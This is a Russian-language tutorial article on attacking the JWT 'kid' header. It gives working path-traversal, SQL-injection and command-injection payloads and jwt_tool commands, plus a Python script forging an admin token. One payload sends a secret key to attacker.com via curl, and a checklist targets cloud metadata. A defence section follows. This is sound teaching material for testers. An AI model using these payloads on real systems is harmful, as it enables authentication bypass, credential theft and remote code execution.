Содержание:

В статьях 3-4 мы атаковали поле alg в заголовке JWT. Но помнишь список параметров заголовка из второй статьи? kid, jku, jwk, x5u, x5c - каждый из них вектор атаки. Начинаем с kid.

Почему kid уязвим

kid (Key ID) - опциональный параметр заголовка JWT. Когда у сервера несколько ключей для подписи (например, старый и новый при ротации), kid указывает, какой именно ключ использовать для проверки подписи. Сервер получает токен, смотрит kid в заголовке, находит соответствующий ключ в своем хранилище и проверяет подпись.

И вот ключевой момент: RFC не определяет структуру kid. Совсем. В спецификации написано: “The structure of the ‘kid’ value is unspecified. Its value MUST be a case-sensitive string.” Произвольная строка, без ограничений на формат и содержимое.

Это означает, что разработчики вольны интерпретировать kid как угодно. Кто-то использует его как имя файла - и читает ключ из файловой системы. Кто-то как SQL-параметр - и ищет ключ в базе данных. Кто-то передает в системную команду. Каждый из этих вариантов - отдельный класс уязвимостей.

Path Traversal через /dev/null

Если сервер использует kid как путь к файлу с ключом, подставляем path traversal:

{"alg": "HS256", "kid": "../../../../../../../dev/null"}

/dev/null при чтении всегда возвращает пустую строку (zero bytes). Сервер прочитал “ключ” из /dev/null - получил пустую строку. Атакующий подписывает токен пустым ключом - подписи совпадают.

python3 jwt_tool.py "$TOKEN" -I -hc kid \
  -hv "../../../../dev/null" -S hs256 -p ""

Работает? Отлично. Но /dev/null не единственный вариант. Есть файлы с предсказуемым содержимым, которое можно использовать как ключ:

/proc/sys/kernel/randomize_va_space - на Linux всегда содержит 2 (ASLR включен). Подписываем токен строкой "2":

python3 jwt_tool.py "$TOKEN" -I -hc kid \
  -hv "/proc/sys/kernel/randomize_va_space" \
  -S hs256 -p "2"

/etc/hostname - может быть предсказуемым, особенно в Docker-контейнерах с дефолтными именами.

Идея понятна: находим файл, содержимое которого нам известно, и используем его содержимое как HMAC-ключ.

SQL Injection через kid

Если сервер ищет ключ в базе данных, SQL-запрос может выглядеть так:

SELECT key_value FROM jwt_keys WHERE kid = '<kid>'

Подставляем классический UNION-based SQLi:

{"alg": "HS256", "kid": "x' UNION SELECT 'ATTACKER';-- -"}

Запрос превращается в:

SELECT key_value FROM jwt_keys WHERE kid = 'x' UNION SELECT 'ATTACKER';-- -'

Первый SELECT ничего не найдет (нет ключа с kid = x), а UNION вернет строку ATTACKER. Сервер получит ATTACKER как значение ключа и использует его для проверки. Мы подписываем токен той же строкой ATTACKER - и подпись сойдется.

python3 jwt_tool.py "$TOKEN" -I -hc kid \
  -hv "x' UNION SELECT 'ATTACKER';-- -" \
  -S hs256 -p "ATTACKER"

Но этим SQLi не ограничивается. Раз мы можем внедрять SQL-запросы, можно извлекать данные:

x' UNION SELECT password FROM users WHERE username='admin';-- -

Если это сработает, мы получим пароль админа как “ключ”, подпишем им токен, и одновременно узнаем пароль. Два бага по цене одного.

Ручной PoC на Python:

import hmac, hashlib, base64, json

def b64e(d):
    return base64.urlsafe_b64encode(d).rstrip(b'=').decode()

header = {"alg":"HS256","typ":"JWT",
  "kid":"x' UNION SELECT 'KEY';-- -"}
payload = {"sub":"admin","role":"superuser"}

h = b64e(json.dumps(header, separators=(',',':')).encode())
p = b64e(json.dumps(payload, separators=(',',':')).encode())

sig = hmac.new(b"KEY", f"{h}.{p}".encode(),
    hashlib.sha256).digest()
print(f"{h}.{p}.{b64e(sig)}")

Command Injection

Некоторые серверы передают kid в системную команду для загрузки ключа. Особенно опасен Ruby с функцией open(), которая поддерживает pipe-оператор: open("| command") выполнит command как shell-команду.

{"alg": "HS256", "kid": "| whoami"}

Ruby open("| whoami") выполнит whoami и вернет результат. Другие варианты полезных нагрузок:

| curl http://attacker.com/steal?k=$(cat /app/secret.key)
key1; whoami
key1 && cat /etc/passwd
key1$(id)

Command injection через kid встречается реже, чем path traversal или SQLi, но когда встречается - это обычно RCE.

Чеклист тестирования kid

Вот последовательность проверок, которую я прохожу на каждом engagement:

  1. Есть ли kid в токене? Декодируй заголовок, проверь наличие поля kid
  2. Path traversal: ../../../../dev/null с пустым ключом
  3. Предсказуемые файлы: /proc/sys/kernel/randomize_va_space с ключом "2"
  4. SQL injection: ' UNION SELECT 'test';-- - с ключом "test". Если сервер вернул 200 - подтверждено
  5. Blind SQLi: ' AND 1=1;-- - vs ' AND 1=2;-- -. Разные ответы - blind SQLi
  6. Command injection: | sleep 5 - если ответ задержался на 5 секунд, есть RCE
  7. SSRF: http://169.254.169.254/ (AWS metadata), http://127.0.0.1:6379/ (Redis)

Защита

RFC 8725 Section 3.10 прямо говорит: kid MUST быть санитизирован.

Конкретные рекомендации:

  • Не использовать kid как путь к файлу. Хранить ключи в key store с индексом по kid, без обращения к файловой системе.
  • Параметризованные SQL-запросы. WHERE kid = ? вместо конкатенации строк.
  • Allowlist допустимых значений kid. Если у тебя 3 ключа - разрешай только 3 конкретных kid.
  • Никогда не передавать kid в shell-команды.

Что дальше

kid - один параметр заголовка. Но таких в заголовке еще четыре. В следующей статье - jku, x5u, jwk, x5c: когда токен говорит серверу “скачай мой ключ по этому URL” или “вот мой ключ, встроенный прямо в заголовок”. SSRF, подмена ключей и самоподписанные сертификаты.